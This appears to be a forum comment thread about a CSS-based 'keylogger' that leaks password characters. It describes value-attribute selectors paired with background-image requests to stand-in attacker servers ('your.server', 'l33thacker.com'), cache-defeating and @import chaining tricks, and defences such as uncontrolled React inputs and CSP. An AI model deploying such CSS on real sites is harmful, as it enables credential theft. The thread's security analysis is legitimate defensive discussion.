To some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (sans JavaScript) input: you don't have to use attribute selector (which does't work without physical updates), but can exploit webfont with single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2] some time ago:
Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs.
Edit: This doesn't seem to work for me in Chrome 63.0.3239.132
Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
This is speculative as I haven't tested out this vulnerability or attempted to avoid it (yet), but I imagine this means it would be a good idea to make password fields "uncontrolled"[1] if you're using react.
One option is to make the input component uncontrolled by removing the value={this.state.password} prop, but keeping the onChange handler to maintain the password in the state for validation & strength checking. Typically, the only time you need to programmatically change a password field is when clearing it, which can be done by setting the DOM attribute directly.
It updates the attribute, you can see this pretty easily by going to the Instagram website. If you inspect the password field in the browser, when you type in a value you can see it reflected on the `value` attribute of the input element.
Maybe they will have to rethink it. It seemed odd when they introduced it and at least in the early React version kept making problems e.g. when entering German Umlaute on US keyboards. Not working much on Frontend anymore but when I do inputs, I only use uncontrolled ones - it's much less hassle and more flexible anyways.
The pattern is to handle form fields locally in the browser as part of the application state.
Basically, the value of the input is tied to a "state engine" that acts as a single source of truth and when the user types in the input you'll update the state so that the rest of the application can know what's going on in the form without accessing the DOM.
The state engine is a fancy word for a variable that has a special setter function so that the changes can be reflected globally.
Can’t speak about Vue, but that’s pretty much the recommended pattern for most input fields in React. But, as others have commented, it might be prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.
Unfortunately, that’s very inconvenient with React because you’ll have to start thinking about dom elements lifecycle separately of the react app lifecycle.
Not at all. Sending off requests is a different thing entirely to controlled inputs, and you don't need a controlled input to do a request every keypress.
It would only give you the last character of the password though. You can use CSS selectors to check the start [value^=a] and anything in the middle [value*=a] as well though which can be revealing I imagine.
Well there's the start [value^=a], the end [value$=a] and the "anywhere" [value*=a] selectors.
In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count)
That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)
It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.
It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).
I was also thinking along those lines, a way to LINT/validate form fields when JS is disabled, but seems like a very obscure and inefficient (use html5 validation + js, validate server side on submit)
It might be useful to show/hide certain parts of the form depending on a value selected in dropdown (SELECT) control. As for text input controls - perhaps to highlight the content when value matches expected (but not required) pattern.
Author here. I believe the injection of the css in the chrome extension will only work in newer versions of chrome. However the "attack" would still work for all browsers. :)
The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value).
This means that both:
- typing the password
- setting the password via element.value=foo
will not work
The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.
Nice job. Css had similar attacks maybe a decade ago, with link:visited (referer snooping) and image with src to a logged in site... but I like the selector trick.
Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.
The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example:
No, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y"
Not an efficient keylogger, however, if you know the pressed keys, you can just generate permutations ordered using probabilities, and that would be a lot faster than brute force.
The real deal here is, it depends on some js code updating the dom for each key press, which is BAAAD. Not an useless keylogger, because it reminds a vulnerability product of choosing a bad decision.
Interestingly the password "BAAAD" would generate 3 requests to the logging server, since it wouldn't request the background image for the letter "A" more than one time. Or shouldn't, anyway.
For example, there are about 41,000 possible passwords for a given set of 8 characters, out of around 96^8 possible 8 character passwords (in the ASCII character set).
This is 127,286,426,869 (~128bn) times smaller than 92^8.
Edit: Note that if you have a repeated character in your 8 charcter password then the number of permutations of the set of 8 (7 distinct) characters is further halved to 20,160.
Well it would also not come in the correct order if someone types their password wrong, deletes letters and re-types them, etc. But I assume the idea would be that you'd have a much easier time figuring out the password if you had all the keys they pressed.
I was replying to the comment above which pointed out correctly that the order in which the server receives the requests may differ from the order in which they were sent.
One more reason to hate javascript as used and abused by modern "webdevs" and block it all unless absolutely necessary. I try very hard to keep my pages pure css and html.
Yeah, I have JavaScript disabled by default with uMatrix and it's a pretty annoying trend that almost every second page — even a static one page site — needs JavaScript to display anything
I try very hard to keep my pages pure css and html.
That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.
just the first stage of 'I hate JS because it's cool to hate JS'
second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'
It's the only reasonable response to the user-hostile dumpster fire that is the current web. Javascript has made the web better in a small handful of ways, and made the web significantly worse in every other way.
This has nothing to do with vulnerabilities in CSS or Javascript. It has to do with ill-conceived authentication implementations, written in Javascript, that save passwords in the DOM using attributes that are then accessible via CSS. That is a vulnerability on the website itself. It is also an idiotic thing to do.
I wouldn't be so dismissive about this. It doesn't really matter what bucket this security issue falls under. It also doesn't change much whether it's "idiotic" or not.
The fact remains that the coding practices on a website used by about a billion people open up for part 1 of this vulnerability (these CSS styles on Instagram do load external resources as you type), and there are plenty of ways for part 2 (inject the CSS) to occur on many less well maintained sites.
Even if the site doesn't use javascript to update the DOM, it's still vulnerable to similar attacks [0]. The real problem that the attacks relies on is the ability to inject CSS that can load external resources. And Instagram doesn't allow that.
This is neat but doesn't really work as an attack.
The CSS selectors work on the value HtmlNode attribute rather than the Javascript "value" value, which aren't linked normally. The Instagram password field mentioned in the readme.md DOES work this way due to some custom javascript, for reasons that escape me.
[edit] Other people pointed this out first.
Also, if you are going to all the trouble of making an extension to inject your evil CSS into a page, why not go the whole hog and inject evil ecmascript instead?
> Also, if you are going to all the trouble of making an extension to inject your evil CSS into a page, why not go the whole hog and inject evil ecmascript instead?
That may just be for the proof of concept.
There are websites which allow users to customize themes of certain pages; such at Tumblr and Reddit. I believe these allow custom CSS. There are probably plenty of other places where it may be possible to inject CSS but not JavaScript.
So, it's worth demonstrating the vulnerability, even if the current way of distributing it only really makes sense for testing purposes.
Thanks, always nice to hear from somebody who knows something. So this seem like a flaw in React rather than a flaw in browsers - there is no reason to leak the typed-in password value into the the value attribute where CSS can get its' grubby mitts on it.
That should be fine, at least for avoiding this attack.
In general, though, there are solid reasons to use this pattern in React. With uncontrolled components, you won’t be able to use React to do form validation or AJAX form submission. You would need to bypass the React virtual DOM and attach listeners on the actual DOM elements.
Very good point! With that method you can still display validation errors in a “Reacty” way. But you still don’t get pre-submit validation, like marking an input invalid on blur, or displaying real-time password strength.
You can still capture an uncontrolled input's data `onChange` and `onBlur` for validation, password strength checking, later submission etc., you just don't reflect it back into the input on every render.
The only thing it affects is your ability to change the input's data via a state change, but for a password field would you ever want to do anything but get its current value or clear it?
You’re right. With a little effort you could create reusable React form fields that are not controlled but which communicate their value/blur/etc. back to React for validation purposes.
And yes, for password inputs, I can’t think of a case where you would absolutely need to control the value via React. Things like password confirmation validation and password strength indicators can be implemented via onChange and onBlur. It’s more tedious than the normal controlled input pattern, but given vulnerabilities like this one, it’s likely worth creating reusable uncontrolled inputs.
I think the doc ought to be updated to say that you shouldn't make a password field a controlled component, and maybe even warnings added if you set value at all.
The combination of the two prerequisite conditions is probably tiny. JS needs to update the css accessible value attribute of the field as well. That's a less likely situation. I guess anything that's react + this auth method + custom CSS is vulnerable. Can't think of anything that does all three.
Because of access levels. You may install an extension that requires no access to anything interesting (hey it's just harmless css), but may refuse to install something that wants to read your dom.
Another fun thing: user css / theme extensions where you only install themes. Themes are not dangerous, are they? It's just eyecandy.
Firewalls blocking javascript would let this pass, NoScript users would get their info stolen, CSS injection vulnerabilities may not allow a XSS as well.
If you do control the page, there may not be that many reasons, but if you only have a limited entry-point, this is very interesting.
And if the exploit uses `!important` then you just need to make your selector more specific such as putting it inside an id. If you have malicious javascript running on your page there are better ways to steal data. I feel there is low risk of coming across this problem in the wild.
Although that does rely on targeting that specific attribute. There are probably a handful of ways to trigger an http request in this instance.
You don't actually even need to select that specific node - whilst you can't use :after on replaced elements, if the input has a sibling an attacker could input[type="password"] + div:after or something along those lines.
The main takeaway for me is that making a password field a controlled component is a marginal security risk in some instances, and letting people pump their own styles into sign-in pages is a bad idea.
I've been noticing a lot of CSP talk lately, how CSP is the end-all be-all solution for lots of these types of attacks. Makes me think we should have more articles about how to properly implement a CSP!
(content security policy-prevents requests to websites not on the white-list -- the background image request would be rejected)
No it does not. CSS selectors do not apply to input content and `[value]` selectors apply to attributes, which are not updated by just typing in it.
This is not a CSS keylogger if you need to update the attributes with the input value via JS.
Edit: this apparently works on React sites because React seems to update the `value` attribute as well. Maybe that should be fixed as it’s unnecessary.
To be really dangerous, I think this would need to defeat client-side cache strategies. If the browser caches each resource, the server-side reads wouldn't account for repeated characters or overall length with perfect accuracy. Consider palindromes like "racecar."
This would still put many, if not most, passwords within guessable striking distance, for anyone able to intercept plain-text HTTP traffic, between Alice (the client) and Bob (the CSS image resource server).
True! And now I’m realizing, depending on position in the network, the server doen’t even need to exist, if one only needed to MITM the request traffic... Geeze.
I wonder if it's possible to make auto-updating CSS. CSS can use @import url("another.css"), and "another.css" might be returned with delay and import "another2.css", but I'm not sure if browser would process current css before it'll import everything.
If this would work, it could spy even without React. Detect first character, then server returns next CSS to detect second character and so on.
Summary: A method is detailed - dubbed CSS Exfil - which can be used to steal targeted data using Cascading Style Sheets (CSS) as an attack vector. Due to the modern web's heavy reliance on CSS, a wide variety of data is potentially at risk, including: usernames, passwords, and sensitive data such as date of birth, social security numbers, and credit card numbers. The technique can also be used to de-anonymize users on dark nets like Tor. Defense methods are discussed for both website operators as well as web users, and a pair of browser extensions are offered which guard against this class of attack.
Also, and critically, the server always responds with an HTTP 400 status code. This prevents caching in most browsers, so the request will be made again when a key is repeated.
In short: this works when the SERVER returns a page with pre-entered information.
This is common when returning to a form you previously filled, like an address for, but it's very, very rare for this to happen to a password field. Like, why would a server send you a password field with your real password pre-entered?
Every other type of data is fair game... given that the attacker can inject CSS into your pages.
Interestingly, you can defeat this key logger by typing the last character first, use the arrow key to go left and type in the rest. This works because the CSS selector only matches the end of the value input.
This isn’t a problem. CSS could already control what’s displayed and what effect it has. It could already make clicking “next page” open an invisible chat to their account, your password box send your password as a message, and your message from a friend read anything they want. It’s always been a trusted asset.
What might be a problem is developers not treating it as such.
This is a very good question. The github project README does not say anything about the issue with the extensions. Does it also work in a regular page? Weird.
the point is that react updates the attribute every time you type a character into the password field. So if you have the rules for background-image: url("http://your.server/a"); for password fields that END with 'a', and a rule background-image: url("http://your.server/b"); for password fields that END with 'b', if you type "ab", after the a, the value attribute is updated and the css will request the background for passwords that end with 'a', then when you type b, the attribute is updated again and the css will request the password for 'b's. so you check your server logs and you will have 2 requests, one for a and one for b. you now know that they typed "ab".
Most people in the comments don't seem to understand how this works.
i.e. you don't need to have rules for all possible passwords, just one for each character.
Yup, you'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-...
Your background-image url must be an endpoint that can process a request. Simply, requesting a placehold.it/a image is pointless, but sending to l33thacker.com/a, assuming that l33thacker.com knows how to process that request maliciously, will work.
It can be done manually. Send the request to a server you control and check the logs. It doesn't scale well but it would work fine for a targeted attack.
yes obviously, but in a real world scenario how would that work? Malicious extension loads the CSS file in my current tab and sniffs my password on the attacker's server? Can Chrome extensions load CSS without me having to click/activate them?
Yes they can. This attack does not have to be carried done through a chrome extension. I simply chose that because it is the easiest to show off. This can be hidden inside of a malicious npm module or injected into a website that has poor input sanitization.
The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one wanted to inject javascript into https://instagram.com (my example on github), they would fail.
The extension is just a way to inject this demo into any site, but extensions that you install can run JavaScript in any site they're allowed to, so this "hack" isn't necessary in that case.
One way of mitigating this is to have strong passwords NOT in alphanumeric characters (if allowed by website), such as mixing emojis with Asian characters.
CSS has gone too far. At least when I'm worried about a nasty javascript attack from a site I can be somewhat reassured that noscript/umatrix will work. Am I going to have to start whitelisting CSS now too? Am I too late?
It drives me crazy when I see someone has implemented Doom in CSS, but it still requires black magic to do a simple responsive three column layout without using bleeding edge features that aren't widely supported yet.
In fairness, that was written in 2006 when people browsing the internet on their dumbphones generally got served entirely different web pages. And you could fix it with media queries. But the fact that it needed hacky stuff like arbitrarily large positive padding and negative margin values to achieve a "holy grail" of the standard way websites had been laid out using tables for the previous decade or so didn't reflect very well on CSS spec drafters or the browser vendors of the time.
Well, of course. That's simply a three column layout example without any responsive media queries. It's the bare minimum to a three column "holy grail". If anything, you could simply add the viewport meta tag to have the user's phone zoom in automatically.
However, making this example responsive is a piece of cake:
(Terrible CSS simply to show how easy it is to make it responsive. Normally you wouldn't wildcard important everything but target the right classes. I can't be bothered, this gets the point across.)
This isn't a CSS feature, CSS does not let you select on the value of a password field (it lets you select on the value of the `value` attribute, which doesn't change when you type)
This is a React feature, where React apps specifically use the value attribute (`element.setAttribute("value", ...)`) to set the value, instead of `element.value`.
As other comments have stated, this only works if the 'value' attr is being set on the input box as you type (which React will do), so it still requires JS.
Not while I'm sitting around not doing anything, at least not normally. Gmail refreshes itself every few seconds, but I'd be awfully suspicious if I started seeing a single packet being transmitted each time I typed a character into a password box.
That's not enough if you are using an online crypto wallet.
You also need to check if the seeding is deterministic. And also it could send the data 'later' when you next visit the site rather than now, storing it in indexeddb/localstorage/ etc. So you have a false sense of security.
Also as in this example loading a .jpg could be a way of communicating something.